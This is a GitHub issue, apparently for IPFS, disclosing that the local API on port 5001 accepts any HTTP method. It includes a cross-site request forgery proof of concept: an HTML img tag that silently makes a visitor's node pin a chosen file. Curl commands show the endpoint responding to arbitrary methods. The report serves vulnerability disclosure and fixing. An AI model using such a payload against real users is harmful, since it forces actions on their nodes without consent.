Skip to content

API accepts all methods #2165

Closed
Closed
@travisperson

Description

@travisperson

During a discussion on IRC with VegemiteToast and achin, it was tested and discovered that you can make a user pin any file.

This particular attack was done using QmfSeZGwcCJjeEiMziQtDEuaoKASmUV48NCaPde3q44fUb

<html>

    <img src="http://localhost:5001/api/v0/pin/add?arg=QmY5tJVszoxDrVe8tncegcv4SaozcicedrgcHTWiREr4i6" />
    After loading this page, please try to see if <code>QmY5tJVszoxDrVe8tncegcv4SaozcicedrgcHTWiREr4i6</code> is pinned on your local node:

    <pre>
    ipfs pin ls --type=all |grep QmY5tJVszoxDrVe8tncegcv4SaozcicedrgcHTWiREr4i6
    </pre>

</html>

As it turns out, the API accepts any command with any HTTP method.

Test it out:

$ curl "http://localhost:5001/api/v0/pin/add?arg=QmfSeZGwcCJjeEiMziQtDEuaoKASmUV48NCaPde3q44fUb" -X GET
$ curl "http://localhost:5001/api/v0/pin/add?arg=QmfSeZGwcCJjeEiMziQtDEuaoKASmUV48NCaPde3q44fUb" -X PATCH
$ curl "http://localhost:5001/api/v0/pin/add?arg=QmfSeZGwcCJjeEiMziQtDEuaoKASmUV48NCaPde3q44fUb" -X POST
$ curl "http://localhost:5001/api/v0/pin/add?arg=QmfSeZGwcCJjeEiMziQtDEuaoKASmUV48NCaPde3q44fUb" -X WHAT

Metadata

Metadata

Assignees

No one assigned

    Labels

    kind/bugA bug in existing code (including security flaws)

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions